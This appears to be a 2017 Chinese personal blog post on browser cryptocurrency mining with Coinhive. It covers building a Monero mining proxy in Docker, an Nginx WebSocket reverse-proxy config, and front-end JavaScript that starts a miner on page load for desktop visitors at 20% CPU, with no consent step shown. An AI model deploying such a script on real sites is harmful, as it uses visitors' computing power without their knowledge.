浏览器里的矿工

已发布 2017-12-28 21:47:13

早就听说浏览器也可以“挖矿”了。今天试了一下。

最早见到的浏览器挖矿,是在一个文档里,有个专门的页面,告诉你点击按钮可以挖矿,并给出理由说这样可以支持网站建设blahblah。 其实这个挖矿程序的来源应该是https://coinhive.com

矿池代理

搜到一个门罗币(XMR)的矿池代理程序,优点是零开发成本、可以绕过广告拦截软件、可以使用它代理任何矿池。

安装搭建过程当然是选择提供方案里的docker了:

git clone https://github.com/x25/coinhive-stratum-mining-proxy.git
cd coinhive-stratum-mining-proxy
docker build -t coinhive-stratum-mining-proxy .

# 配置SSL websocket的时候报错说秘钥、证书不匹配。。。后来通过Nginx反代理 WebSocket 才成功
#openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 100 -nodes
#docker run -p 8892:8892 --name coinhive -it --rm coinhive-stratum-mining-proxy xmr-eu1.nanopool.org 14444 --ssl=key.pem:cert.pem

docker run -p 8892:8892 --name coinhive -it --rm coinhive-stratum-mining-proxy xmr-eu1.nanopool.org 14444

docker容器运行起来后,会监听公网的8892端口,后面是一个WebSocket接口。

Nginx 反代理 WebSocket 配置文件(其中的证书使用的是众所周知的 let’s encrypt):

server {
    listen  80;
    listen 443 ssl http2;
    ssl_certificate /etc/letsencrypt/live/hive.bitsflow.org/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/hive.bitsflow.org/privkey.pem;
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3

    ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA';
    ssl_prefer_server_ciphers on;
    ssl_dhparam /usr/local/nginx/dhparams.pem;

    server_name hive.bitsflow.org;

    location /stats {
        proxy_pass http://127.0.0.1:8892;
        proxy_set_header  X-Real-IP $remote_addr;
        proxy_set_header  Host      $host;
    }

    location / {
        proxy_pass http://127.0.0.1:8892;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";

        proxy_set_header  X-Real-IP $remote_addr;
        proxy_set_header  Host      $host;
    }
}

前端代码

引入coinhive的库https://coinhive.com/lib/coinhive.min.js,即使使用矿池代理也是如此。

!function startMiner() {
    //# 无奈通过矿池代理挖矿程序不工作
    /*CoinHive.CONFIG.WEBSOCKET_SHARDS = [["wss://hive.bitsflow.org/proxy"]];*/

    // 第一个参数是 coinhive 配置里的 site public key;另外有一个私钥用来验证token或查看账户余额
    // throttle 这个参数 0.8 表示使用 20% 的CPU来挖矿
    var miner = new CoinHive.Anonymous('NvpXy6nIyx5sKELsn8EpHoCN0nfel6tY', {throttle: 0.8});
    if (!miner.isMobile()) {
        miner.start();
    }
}();

TODO

comments powered by Disqus